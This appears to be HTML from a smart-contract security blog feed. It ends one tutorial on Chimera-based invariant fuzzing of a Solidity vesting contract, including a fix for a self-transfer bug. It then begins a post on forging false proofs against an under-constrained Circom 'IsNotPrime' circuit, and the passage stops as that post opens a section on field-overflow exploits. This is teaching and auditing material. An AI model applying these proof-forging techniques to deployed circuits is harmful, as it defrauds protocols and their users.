                                    <span class="hljs-keyword">uint24</span> pointsToTransfer</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-comment">// get an index into the recipients array to randomly</span>
        <span class="hljs-comment">// select a valid recipient</span>
        <span class="hljs-comment">//</span>
        <span class="hljs-comment">// note: using `between` provided by Chimera instead of</span>
        <span class="hljs-comment">// Foundry's `bound` for cross-fuzzer compatibility</span>
        recipientIndex <span class="hljs-operator">=</span> between(recipientIndex, <span class="hljs-number">0</span>, recipients.<span class="hljs-built_in">length</span>-<span class="hljs-number">1</span>);
        senderIndex    <span class="hljs-operator">=</span> between(senderIndex, <span class="hljs-number">0</span>, recipients.<span class="hljs-built_in">length</span>-<span class="hljs-number">1</span>);

        <span class="hljs-keyword">address</span> sender <span class="hljs-operator">=</span> recipients[senderIndex];
        <span class="hljs-keyword">address</span> recipient <span class="hljs-operator">=</span> recipients[recipientIndex];

        (<span class="hljs-keyword">uint24</span> senderMaxPoints, , ) <span class="hljs-operator">=</span> vesting.allocations(sender);

        pointsToTransfer <span class="hljs-operator">=</span> <span class="hljs-keyword">uint24</span>(between(pointsToTransfer, <span class="hljs-number">1</span>, senderMaxPoints));

        <span class="hljs-comment">// note: using `vm` from Chimera's IHevm</span>
        <span class="hljs-comment">// for cross-fuzzer cheatcode compatibility</span>
        vm.prank(sender);
        vesting.transferPoints(recipient, pointsToTransfer);
    }
}
</code></pre>
<h2 id="heading-writing-echidna-amp-medusa-front-end">Writing Echidna &amp; Medusa Front-End</h2>
<p>Now that all of our components are in-place, we only need to write the “front-end” contracts for our fuzzers and provide any configuration files. Firstly let’s write the Echidna &amp; Medusa front-end <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/09-vesting/VestingCryticTester.sol">VestingCryticTester.sol</a> which is used to execute the Echidna and Medusa fuzzers. It inherits from our <code>TargetFunctions</code> contract and Chimera’s <a target="_blank" href="https://github.com/Recon-Fuzz/chimera/blob/main/src/CryticAsserts.sol">CryticAsserts</a> contract:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.23;</span>

<span class="hljs-keyword">import</span> { <span class="hljs-title">TargetFunctions</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./TargetFunctions.sol"</span>;
<span class="hljs-keyword">import</span> { <span class="hljs-title">CryticAsserts</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"@chimera/CryticAsserts.sol"</span>;

<span class="hljs-comment">// configure solc-select to use compiler version:</span>
<span class="hljs-comment">// solc-select install 0.8.23</span>
<span class="hljs-comment">// solc-select use 0.8.23</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// run from base project directory with:</span>
<span class="hljs-comment">// echidna . --contract VestingCryticTester --config test/09-vesting/echidna.yaml</span>
<span class="hljs-comment">// medusa --config test/09-vesting/medusa.json fuzz</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">VestingCryticTester</span> <span class="hljs-keyword">is</span> <span class="hljs-title">TargetFunctions</span>, <span class="hljs-title">CryticAsserts</span> </span>{
  <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    setup();
  }
}
</code></pre>
<h3 id="heading-echidna-config">Echidna Config</h3>
<p>We also need to create the following configuration file <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/09-vesting/echidna.yaml">echidna.yaml</a>:</p>
<pre><code class="lang-yaml"><span class="hljs-comment"># don't allow fuzzer to use all functions</span>
<span class="hljs-comment"># since we are using handlers</span>
<span class="hljs-attr">allContracts:</span> <span class="hljs-literal">false</span>

<span class="hljs-comment"># record fuzzer coverage to see what parts of the code</span>
<span class="hljs-comment"># fuzzer executes</span>
<span class="hljs-attr">corpusDir:</span> <span class="hljs-string">"./test/09-vesting/coverage-echidna"</span>

<span class="hljs-comment"># prefix of invariant function</span>
<span class="hljs-attr">prefix:</span> <span class="hljs-string">"property_"</span>

<span class="hljs-comment"># instruct foundry to compile tests</span>
<span class="hljs-attr">cryticArgs:</span> [<span class="hljs-string">"--foundry-compile-all"</span>]
</code></pre>
<h3 id="heading-medusa-config">Medusa Config</h3>
<p>Similarly we need to create Medusa’s configuration file <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/09-vesting/medusa.json">medusa.json</a>:</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"fuzzing"</span>: {
        <span class="hljs-attr">"workers"</span>: <span class="hljs-number">10</span>,
        <span class="hljs-attr">"workerResetLimit"</span>: <span class="hljs-number">50</span>,
        <span class="hljs-attr">"_COMMENT_TESTING_1"</span>: <span class="hljs-string">"changed timeout to limit fuzzing time"</span>,
        <span class="hljs-attr">"timeout"</span>: <span class="hljs-number">10</span>,
        <span class="hljs-attr">"testLimit"</span>: <span class="hljs-number">0</span>,
        <span class="hljs-attr">"callSequenceLength"</span>: <span class="hljs-number">100</span>,
        <span class="hljs-attr">"_COMMENT_TESTING_8"</span>: <span class="hljs-string">"added directory to store coverage data"</span>,
        <span class="hljs-attr">"corpusDirectory"</span>: <span class="hljs-string">"coverage-medusa"</span>,
        <span class="hljs-attr">"coverageEnabled"</span>: <span class="hljs-literal">true</span>,
        <span class="hljs-attr">"_COMMENT_TESTING_2"</span>: <span class="hljs-string">"added test contract to deploymentOrder"</span>,
        <span class="hljs-attr">"targetContracts"</span>: [<span class="hljs-string">"VestingCryticTester"</span>],
        <span class="hljs-attr">"targetContractsBalances"</span>: [],
        <span class="hljs-attr">"constructorArgs"</span>: {},
        <span class="hljs-attr">"deployerAddress"</span>: <span class="hljs-string">"0x30000"</span>,
        <span class="hljs-attr">"senderAddresses"</span>: [
            <span class="hljs-string">"0x10000"</span>,
            <span class="hljs-string">"0x20000"</span>,
            <span class="hljs-string">"0x30000"</span>
        ],
        <span class="hljs-attr">"blockNumberDelayMax"</span>: <span class="hljs-number">60480</span>,
        <span class="hljs-attr">"blockTimestampDelayMax"</span>: <span class="hljs-number">604800</span>,
        <span class="hljs-attr">"blockGasLimit"</span>: <span class="hljs-number">125000000</span>,
        <span class="hljs-attr">"transactionGasLimit"</span>: <span class="hljs-number">12500000</span>,
        <span class="hljs-attr">"testing"</span>: {
            <span class="hljs-attr">"stopOnFailedTest"</span>: <span class="hljs-literal">true</span>,
            <span class="hljs-attr">"stopOnFailedContractMatching"</span>: <span class="hljs-literal">true</span>,
            <span class="hljs-attr">"stopOnNoTests"</span>: <span class="hljs-literal">true</span>,
            <span class="hljs-attr">"testAllContracts"</span>: <span class="hljs-literal">false</span>,
            <span class="hljs-attr">"traceAll"</span>: <span class="hljs-literal">false</span>,
            <span class="hljs-attr">"assertionTesting"</span>: {
                <span class="hljs-attr">"enabled"</span>: <span class="hljs-literal">false</span>,
                <span class="hljs-attr">"testViewMethods"</span>: <span class="hljs-literal">false</span>,
                <span class="hljs-attr">"assertionModes"</span>: {
                    <span class="hljs-attr">"failOnCompilerInsertedPanic"</span>: <span class="hljs-literal">false</span>,
                    <span class="hljs-attr">"failOnAssertion"</span>: <span class="hljs-literal">true</span>,
                    <span class="hljs-attr">"failOnArithmeticUnderflow"</span>: <span class="hljs-literal">false</span>,
                    <span class="hljs-attr">"failOnDivideByZero"</span>: <span class="hljs-literal">false</span>,
                    <span class="hljs-attr">"failOnEnumTypeConversionOutOfBounds"</span>: <span class="hljs-literal">false</span>,
                    <span class="hljs-attr">"failOnIncorrectStorageAccess"</span>: <span class="hljs-literal">false</span>,
                    <span class="hljs-attr">"failOnPopEmptyArray"</span>: <span class="hljs-literal">false</span>,
                    <span class="hljs-attr">"failOnOutOfBoundsArrayAccess"</span>: <span class="hljs-literal">false</span>,
                    <span class="hljs-attr">"failOnAllocateTooMuchMemory"</span>: <span class="hljs-literal">false</span>,
                    <span class="hljs-attr">"failOnCallUninitializedVariable"</span>: <span class="hljs-literal">false</span>
                }
            },
            <span class="hljs-attr">"propertyTesting"</span>: {
                <span class="hljs-attr">"enabled"</span>: <span class="hljs-literal">true</span>,
                <span class="hljs-attr">"_COMMENT_TESTING_6"</span>: <span class="hljs-string">"changed prefix to match invariant function"</span>,
                <span class="hljs-attr">"testPrefixes"</span>: [
                    <span class="hljs-string">"property_"</span>
                ]
            },
            <span class="hljs-attr">"optimizationTesting"</span>: {
                <span class="hljs-attr">"enabled"</span>: <span class="hljs-literal">false</span>,
                <span class="hljs-attr">"testPrefixes"</span>: [
                    <span class="hljs-string">"optimize_"</span>
                ]
            }
        },
        <span class="hljs-attr">"chainConfig"</span>: {
            <span class="hljs-attr">"codeSizeCheckDisabled"</span>: <span class="hljs-literal">true</span>,
            <span class="hljs-attr">"cheatCodes"</span>: {
                <span class="hljs-attr">"cheatCodesEnabled"</span>: <span class="hljs-literal">true</span>,
                <span class="hljs-attr">"enableFFI"</span>: <span class="hljs-literal">false</span>
            }
        }
    },
    <span class="hljs-attr">"compilation"</span>: {
        <span class="hljs-attr">"platform"</span>: <span class="hljs-string">"crytic-compile"</span>,
        <span class="hljs-attr">"platformConfig"</span>: {
            <span class="hljs-attr">"_COMMENT_TESTING_7"</span>: <span class="hljs-string">"changed target to point to main directory where command is run from"</span>,
            <span class="hljs-attr">"target"</span>: <span class="hljs-string">"./../../."</span>,
            <span class="hljs-attr">"solcVersion"</span>: <span class="hljs-string">""</span>,
            <span class="hljs-attr">"exportDirectory"</span>: <span class="hljs-string">""</span>,
            <span class="hljs-attr">"args"</span>: [<span class="hljs-string">"--foundry-compile-all"</span>]
        }
    },
    <span class="hljs-attr">"logging"</span>: {
        <span class="hljs-attr">"level"</span>: <span class="hljs-string">"info"</span>,
        <span class="hljs-attr">"logDirectory"</span>: <span class="hljs-string">""</span>
    }
}
</code></pre>
<h2 id="heading-writing-foundry-front-end">Writing Foundry Front-End</h2>
<p>The final piece required is our Foundry “front-end” contract; create a new file <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/09-vesting/VestingCryticToFoundry.sol">VestingCryticToFoundry.sol</a>. This contract will:</p>
<ul>
<li><p>inherit from our <code>TargetFunctions</code> contract and Chimera’s <a target="_blank" href="https://github.com/Recon-Fuzz/chimera/blob/main/src/FoundryAsserts.sol">FoundryAsserts</a> contract</p>
</li>
<li><p>programmatically implement required setup as Foundry doesn’t use configuration files</p>
</li>
<li><p>wrap each of our Echidna/Medusa-style <code>property_*</code> invariants into Foundry-style <code>invariant_*</code> functions that simply assert the <code>property_*</code> functions return <code>true</code>:</p>
</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.23;</span>

<span class="hljs-keyword">import</span> { <span class="hljs-title">TargetFunctions</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./TargetFunctions.sol"</span>;
<span class="hljs-keyword">import</span> { <span class="hljs-title">FoundryAsserts</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"@chimera/FoundryAsserts.sol"</span>;
<span class="hljs-keyword">import</span> { <span class="hljs-title">Test</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Test.sol"</span>;

<span class="hljs-comment">// run from base project directory with:</span>
<span class="hljs-comment">// forge test --match-contract VestingCryticToFoundry</span>
<span class="hljs-comment">// (if an invariant fails add -vvvvv on the end to see what failed)</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// get coverage report (see https://medium.com/@rohanzarathustra/forge-coverage-overview-744d967e112f):</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// 1) forge coverage --report lcov --report-file test/09-vesting/coverage-foundry.lcov --match-contract VestingCryticToFoundry</span>
<span class="hljs-comment">// 2) genhtml test/09-vesting/coverage-foundry.lcov -o test/09-vesting/coverage-foundry</span>
<span class="hljs-comment">// 3) open test/09-vesting/coverage-foundry/index.html in your browser and</span>
<span class="hljs-comment">//    navigate to the relevant source file to see line-by-line execution records</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">VestingCryticToFoundry</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Test</span>, <span class="hljs-title">TargetFunctions</span>, <span class="hljs-title">FoundryAsserts</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setUp</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
      setup();

      <span class="hljs-comment">// Foundry doesn't use config files but does</span>
      <span class="hljs-comment">// the setup programmatically here</span>

      <span class="hljs-comment">// target the fuzzer on this contract as it will</span>
      <span class="hljs-comment">// contain the handler functions</span>
      targetContract(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));

      <span class="hljs-comment">// handler functions to target during invariant tests</span>
      <span class="hljs-keyword">bytes4</span>[] <span class="hljs-keyword">memory</span> selectors <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-keyword">bytes4</span>[](<span class="hljs-number">1</span>);
      selectors[<span class="hljs-number">0</span>] <span class="hljs-operator">=</span> <span class="hljs-built_in">this</span>.handler_transferPoints.<span class="hljs-built_in">selector</span>;

      targetSelector(FuzzSelector({ addr: <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), selectors: selectors }));
    }

    <span class="hljs-comment">// wrap every "property_*" invariant function into</span>
    <span class="hljs-comment">// a Foundry-style "invariant_*" function</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">invariant_users_points_sum_eq_total_points</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
      assertTrue(property_users_points_sum_eq_total_points());
    }
}
</code></pre>
<h2 id="heading-running-all-fuzzers">Running All Fuzzers</h2>
<p>Now we can run all 3 fuzzers from the project directory like this:</p>
<pre><code class="lang-bash">echidna . --contract VestingCryticTester --config <span class="hljs-built_in">test</span>/09-vesting/echidna.yaml
medusa --config <span class="hljs-built_in">test</span>/09-vesting/medusa.json fuzz
forge <span class="hljs-built_in">test</span> --match-contract VestingCryticToFoundry
</code></pre>
<p>Additionally all 3 fuzzers will generate their own <code>coverage</code> folder where we can inspect line-by-line coverage. Checking coverage is very important when building a test suite for your protocol to ensure that all the relevant lines are being exercised by the test suite.</p>
<p>Using Chimera to build the fuzz suite also allows easy cloud-based fuzzing via <a target="_blank" href="https://getrecon.xyz/">getrecon.xyz</a>.</p>
<h2 id="heading-verifying-the-fix">Verifying The Fix</h2>
<p>All 3 fuzzers are easily able to break the invariant; the <code>Vesting::transferPoints</code> function is vulnerable to self-transfer where a user can transfer points to themselves which ends up increasing their points. This could be weaponized by a user to give themselves maximum points then drain the entire token allocation.</p>
<p>To fix this prevent self-transfer in <code>Vesting::transferPoints</code>:</p>
<pre><code class="lang-diff">    function transferPoints(address to, uint24 points) external {
        require(points != 0, "Zero points invalid");
<span class="hljs-addition">+       require(msg.sender != to, "Self transfer invalid");</span>
</code></pre>
<p>Then re-run all 3 fuzzers and verify none are able to break the invariant.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Chimera is an excellent framework that lets smart contract developers and auditors more easily write invariant fuzz testing suites which can be used across multiple fuzzers. Smart contract developers should strongly consider defining contract and protocol invariants and using Chimera to create multi-fuzzer invariant fuzz testing suites for their protocols.</p>
]]></content:encoded></item><item><title><![CDATA[Exploiting Under-Constrained ZK Circuits]]></title><description><![CDATA[Zero-Knowledge (ZK) Circuits allow:

Provers to make claims without revealing the private information they use to make those claims

Verifiers to verify claims made by a Prover without having to trust the Prover or know any of the private information...]]></description><link>https://dacian.me/exploiting-under-constrained-zk-circuits</link><guid isPermaLink="true">https://dacian.me/exploiting-under-constrained-zk-circuits</guid><category><![CDATA[zero-knowledge-proofs]]></category><category><![CDATA[zero-knowledge]]></category><category><![CDATA[ZKP]]></category><category><![CDATA[zkevm]]></category><category><![CDATA[zk-snark]]></category><category><![CDATA[Zk]]></category><dc:creator><![CDATA[Dacian]]></dc:creator><pubDate>Mon, 01 Jul 2024 11:17:00 GMT</pubDate><content:encoded><![CDATA[<p>Zero-Knowledge (ZK) Circuits allow:</p>
<ul>
<li><p>Provers to make claims without revealing the private information they use to make those claims</p>
</li>
<li><p>Verifiers to verify claims made by a Prover without having to trust the Prover or know any of the private information the Prover used to make their claims</p>
</li>
</ul>
<h3 id="heading-zk-properties">ZK Properties</h3>
<p>ZK systems have 3 important properties:</p>
<ol>
<li><p>Completeness - given valid inputs, the Prover is able to generate valid Proofs which are accepted by the Verifier</p>
</li>
<li><p>Soundness - a malicious Prover is unable (in practice has a very low probability) to generate invalid / forged Proofs which will be accepted by the Verifier</p>
</li>
<li><p>Zero Knowledge - Private Inputs known by the Prover are not leaked and can’t be reverse engineered from the Proof or Public Inputs provided to the Verifier</p>
</li>
</ol>
<h3 id="heading-zk-vulnerabilities">ZK Vulnerabilities</h3>
<p>Many vulnerabilities in ZK Circuits involve breaking one or more of these important properties; most circuit vulnerabilities can be categorized into 3 general categories:</p>
<ol>
<li><p>Over-Constrained - a Prover is able to create a valid Proof but the Verifier is unable to verify it as the Circuit contains too many Constraints, breaking the "Completeness" property</p>
</li>
<li><p>Under-Constrained - a malicious Prover can create an invalid Proof which the Verifier subsequently verifies as the Circuit contains too few Constraints, breaking the "Soundness" property</p>
</li>
<li><p>Non-Zero Knowledge - the Private Inputs used by the Prover leak out or are able to be reverse-engineered by the Verifier or other observers, breaking the "Zero Knowledge" property</p>
</li>
</ol>
<h3 id="heading-vulnerable-circuit-is-not-prime">Vulnerable Circuit - "Is Not Prime"</h3>
<p>Let's start off by creating a Circuit to prove that a number is not a prime number. To setup the repository use one of the <a target="_blank" href="https://docs.circom.io/">Circom</a> “starter” repositories which integrate Hardhat [<a target="_blank" href="https://github.com/0xPARC/circom-starter/tree/master">1,</a><a target="_blank" href="https://github.com/alexroan/zk-playground/tree/main">2]</a> for easier compilation &amp; testing workflow. For this example we'll use the <a target="_blank" href="https://github.com/alexroan/zk-playground/tree/main">second</a> link then:</p>
<ul>
<li><p>copy the <code>2-hardhat-integration</code> into a new folder to be our project folder</p>
</li>
<li><p>change the URL for <code>ptau</code> in <code>hardhat.config.js</code> to be <code>ptau: "&lt;</code><a target="_blank" href="https://hermez.s3-eu-west-1.amazonaws.com/powersOfTau28_hez_final_15.ptau"><code>https://hermez.s3-eu-west-1.amazonaws.com/powersOfTau28_hez_final_15.ptau</code></a><code>&gt;"</code></p>
</li>
</ul>
<p>For simplicity we won’t create new files but simply edit already existing files; start by putting our example Circuit code inside <code>circuits/multiplier.circom</code>:</p>
<pre><code class="lang-javascript">pragma circom <span class="hljs-number">2.1</span><span class="hljs-number">.4</span>;

<span class="hljs-comment">// Prover uses Circuit `IsNotPrime` to prove that `val` is not </span>
<span class="hljs-comment">// a prime number without revealing the private factors</span>
<span class="hljs-comment">// which the Prover knows and uses to prove this</span>
template IsNotPrime() {
    signal input factorOne;
    signal input factorTwo;
    signal input val;

    <span class="hljs-comment">// constraint: factors multipled result in val</span>
    <span class="hljs-comment">// will fail for prime numbers</span>
    val === factorOne * factorTwo;
}

<span class="hljs-comment">// `val` is public, factors are private</span>
component main {public [val]} = IsNotPrime();
</code></pre>
<p>This Circuit:</p>
<ul>
<li><p>takes 1 Public Input <code>val</code> which is the number the Prover claims is not prime</p>
</li>
<li><p>takes 2 Private Inputs <code>factorOne</code> and <code>factorTwo</code> which are secret inputs the Prover uses to assert their claim; these should never be leaked or otherwise disclosed to the Verifier or other observers</p>
</li>
<li><p>contains 1 Constraint (using the <code>===</code> operator) which enforces that the multiplication of <code>factorOne</code> and <code>factorTwo</code> results in <code>val</code> - if this is true then <code>val</code> should not be prime</p>
</li>
</ul>
<p>Next put the inputs inside <code>circuits/multiplier.json</code>:</p>
<pre><code class="lang-javascript">{
    <span class="hljs-string">"val"</span>: <span class="hljs-number">21</span>,
    <span class="hljs-string">"factorOne"</span>: <span class="hljs-number">3</span>,
    <span class="hljs-string">"factorTwo"</span>: <span class="hljs-number">7</span>
}
</code></pre>
<p>Then put the test inside <code>test/multiplier.test.js:</code></p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> hre = <span class="hljs-built_in">require</span>(<span class="hljs-string">"hardhat"</span>);
<span class="hljs-keyword">const</span> { assert } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"chai"</span>);

describe(<span class="hljs-string">"multiplier circuit"</span>, <span class="hljs-function">() =&gt;</span> {
  <span class="hljs-keyword">let</span> circuit;

  <span class="hljs-keyword">const</span> sampleInput = {
    <span class="hljs-attr">val</span>: <span class="hljs-string">"21"</span>,
    <span class="hljs-attr">factorOne</span>: <span class="hljs-string">"7"</span>,
    <span class="hljs-attr">factorTwo</span>: <span class="hljs-string">"3"</span>
  };
  <span class="hljs-keyword">const</span> sanityCheck = <span class="hljs-literal">true</span>;

  before(<span class="hljs-keyword">async</span> () =&gt; {
    circuit = <span class="hljs-keyword">await</span> hre.circuitTest.setup(<span class="hljs-string">"multiplier"</span>);
  });

  it(<span class="hljs-string">"produces a witness with valid constraints"</span>, <span class="hljs-keyword">async</span> () =&gt; {
    <span class="hljs-keyword">const</span> witness = <span class="hljs-keyword">await</span> circuit.calculateWitness(sampleInput, sanityCheck);
    <span class="hljs-keyword">await</span> circuit.checkConstraints(witness);
  });

  it(<span class="hljs-string">"has expected witness values"</span>, <span class="hljs-keyword">async</span> () =&gt; {
    <span class="hljs-keyword">const</span> witness = <span class="hljs-keyword">await</span> circuit.calculateLabeledWitness(
      sampleInput,
      sanityCheck
    );
    assert.propertyVal(witness, <span class="hljs-string">"main.val"</span>, sampleInput.val);
    assert.propertyVal(witness, <span class="hljs-string">"main.factorOne"</span>, sampleInput.factorOne);
    assert.propertyVal(witness, <span class="hljs-string">"main.factorTwo"</span>, sampleInput.factorTwo);
  });
});
</code></pre>
<p>Compile with <code>yarn circom:dev</code> and run the test with <code>yarn test</code> - everything passes and our Circuit appears to be working correctly!</p>
<h3 id="heading-exploiting-under-constrained-factors">Exploiting Under-Constrained Factors</h3>
<p>Recall that the Circuit has only 1 Constraint: the product of both factors must equal the value being proved:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// constraint: factors multipled result in val</span>
<span class="hljs-comment">// will fail for prime numbers</span>
val === factorOne * factorTwo;
</code></pre>
<p>However there are no Constraints on the possible values of <code>factorOne</code> and <code>factorTwo</code>; the Prover can set these to whatever they like. Could a malicious Prover abuse this to create a false Proof? It turns out the answer is yes.</p>
<p>A <a target="_blank" href="https://en.wikipedia.org/wiki/Prime_number">Prime Number</a> is an unsigned integer which:</p>
<ul>
<li><p>is greater than 1</p>
</li>
<li><p>cannot be written as a product of two smaller numbers which are themselves also greater than 1</p>
</li>
</ul>
<p>Change <code>sampleInput</code> in <code>test/multiplier.test.js</code> to multiply the number being proved by 1:</p>
<pre><code class="lang-javascript">  <span class="hljs-keyword">const</span> sampleInput = {
    <span class="hljs-attr">val</span>: <span class="hljs-string">"7"</span>,
    <span class="hljs-attr">factorOne</span>: <span class="hljs-string">"1"</span>,
    <span class="hljs-attr">factorTwo</span>: <span class="hljs-string">"7"</span>
  };
</code></pre>
<p>Then re-run the test suite using <code>yarn test</code> and everything passes - a malicious Prover was able to exploit the under-constraining of <code>factorOne</code> and <code>factorTwo</code> to create a false Proof which successfully verified the number 7 is not a prime number, which of course is incorrect as 7 is a prime number!</p>
<h3 id="heading-constraining-the-factors">Constraining The Factors</h3>
<p>As the Circuit is Under-Constrained we'll need to add additional Constraints to prevent <code>factorOne</code> and <code>factorTwo</code> from being equal to 1. In Solidity this would be relatively simple:</p>
<pre><code class="lang-solidity"><span class="hljs-built_in">require</span>(factorOne <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> factorTwo <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span>);
</code></pre>
<p>However Circom Constraints must be <a target="_blank" href="https://docs.circom.io/circom-language/constraint-generation/">Quadratic Equations</a> so they can be easily used with the <a target="_blank" href="https://medium.com/@VitalikButerin/quadratic-arithmetic-programs-from-zero-to-hero-f6d558cea649">Rank One Constraint System</a> (R1CS). Hence we must use some mathematical tricks to express <code>require(x != 1)</code> in a compatible form. To do this we will modify one math trick already in the <a target="_blank" href="https://github.com/iden3/circomlib/tree/master">circomlib</a> library; put the new expanded Circuit into <code>circuits/multiplier.circom</code>:</p>
<pre><code class="lang-javascript">pragma circom <span class="hljs-number">2.1</span><span class="hljs-number">.4</span>;

<span class="hljs-comment">// slightly modified from</span>
<span class="hljs-comment">// https://github.com/iden3/circomlib/blob/master/circuits/comparators.circom#L24-L34</span>
<span class="hljs-comment">// math hack to implement `require(input != 1)`</span>
<span class="hljs-comment">// doesn't gracefully handle case where input == 0</span>
<span class="hljs-comment">// but that isn't required for this circuit</span>
<span class="hljs-comment">// as factors of 0 couldn't be used to create</span>
<span class="hljs-comment">// false proofs</span>
template IsOne() {
    signal input <span class="hljs-keyword">in</span>;
    signal output out;

    <span class="hljs-comment">// intermediate signal</span>
    signal inv;

    <span class="hljs-comment">// store into `inv` intermediate signal:</span>
    <span class="hljs-comment">//   if input != 1 -&gt; inv = 1/in</span>
    <span class="hljs-comment">// else input == 1 -&gt; inv = 0</span>
    inv &lt;-- <span class="hljs-keyword">in</span> != <span class="hljs-number">1</span> ? <span class="hljs-number">1</span>/<span class="hljs-keyword">in</span> : <span class="hljs-number">0</span>;

    <span class="hljs-comment">// store and constrain `out` using a math trick that</span>
    <span class="hljs-comment">// will make the constraint at the end fail for input == 1</span>
    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// case a) if input was 1 then inv = 0</span>
    <span class="hljs-comment">//         out &lt;== -1 * 0 + 1</span>
    <span class="hljs-comment">//         out &lt;== 1 (will make constraint at end fail)</span>
    <span class="hljs-comment">// case b) if input was 2 then inv = 1/2</span>
    <span class="hljs-comment">//         out &lt;== -2*1/2 + 1</span>
    <span class="hljs-comment">//         out &lt;== -1 + 1</span>
    <span class="hljs-comment">//         out &lt;== 0</span>
    out &lt;== -<span class="hljs-keyword">in</span>*inv + <span class="hljs-number">1</span>;

    <span class="hljs-comment">// constraint prevents factors of 1</span>
    <span class="hljs-comment">// case a) if input was 1 then in = 1 and out = 1</span>
    <span class="hljs-comment">//         in*out = 1*1 = 1 -&gt; constraint fails</span>
    <span class="hljs-comment">// case b) if input was 2 then in = 2 and out = 0</span>
    <span class="hljs-comment">//         in*out = 2*0 = 0 -&gt; constraint passes</span>
    <span class="hljs-keyword">in</span>*out === <span class="hljs-number">0</span>;
}

<span class="hljs-comment">// Prover uses Circuit `IsNotPrime` to prove that `val` is not </span>
<span class="hljs-comment">// a prime number without revealing the private factors</span>
<span class="hljs-comment">// which the Prover knows and uses to prove this</span>
template IsNotPrime() {
    signal input factorOne;
    signal input factorTwo;
    signal input val;

    <span class="hljs-comment">// constraint: factors multiplied result in val</span>
    <span class="hljs-comment">// will fail for prime numbers</span>
    val === factorOne * factorTwo;

    <span class="hljs-comment">// prevent factorOne == 1</span>
    component f1Check = IsOne();
    f1Check.in &lt;== factorOne;

    <span class="hljs-comment">// prevent factorTwo == 1</span>
    component f2Check = IsOne();
    f2Check.in &lt;== factorTwo;
}

<span class="hljs-comment">// `val` is public, factors are private</span>
component main {public [val]} = IsNotPrime();
</code></pre>
<p>After compiling again with <code>yarn circom:dev</code>, change the test <code>sampleInputs</code> inside <code>test/multiplier.test.js</code> to use different values for different runs to verify that the Prover can no longer create a false Proof by multiplying <code>val</code> by 1:</p>
<pre><code class="lang-javascript">  <span class="hljs-comment">// fails as factorOne == 1</span>
  <span class="hljs-keyword">const</span> sampleInput = {
    <span class="hljs-attr">val</span>: <span class="hljs-string">"21"</span>,
    <span class="hljs-attr">factorOne</span>: <span class="hljs-string">"1"</span>,
    <span class="hljs-attr">factorTwo</span>: <span class="hljs-string">"21"</span>
  };

  <span class="hljs-comment">// fails as factorTwo == 1</span>
  <span class="hljs-keyword">const</span> sampleInput = {
    <span class="hljs-attr">val</span>: <span class="hljs-string">"21"</span>,
    <span class="hljs-attr">factorOne</span>: <span class="hljs-string">"21"</span>,
    <span class="hljs-attr">factorTwo</span>: <span class="hljs-string">"1"</span>
  };

  <span class="hljs-comment">// succeeds as factorOne != 1 and</span>
  <span class="hljs-comment">//             factorTwo != 1 and</span>
  <span class="hljs-comment">//             factorOne * factorTwo == val</span>
  <span class="hljs-keyword">const</span> sampleInput = {
    <span class="hljs-attr">val</span>: <span class="hljs-string">"21"</span>,
    <span class="hljs-attr">factorOne</span>: <span class="hljs-string">"7"</span>,
    <span class="hljs-attr">factorTwo</span>: <span class="hljs-string">"3"</span>
  };

  <span class="hljs-comment">// fails as factorOne * factorTwo != val</span>
  <span class="hljs-keyword">const</span> sampleInput = {
    <span class="hljs-attr">val</span>: <span class="hljs-string">"21"</span>,
    <span class="hljs-attr">factorOne</span>: <span class="hljs-string">"7"</span>,
    <span class="hljs-attr">factorTwo</span>: <span class="hljs-string">"4"</span>
  };
</code></pre>
<p>Our 2 additional Constraints and expanded test suite appears to have resolved the issue; a malicious Prover can no longer exploit the Circuit by having a prime number multiply itself by 1 to falsely prove it is not prime. However there is a much more subtle vulnerability still present..</p>
<h3 id="heading-exploiting-modular-arithmetic-overflow-in-finite-fields">Exploiting Modular Arithmetic Overflow In Finite Fields</h3>
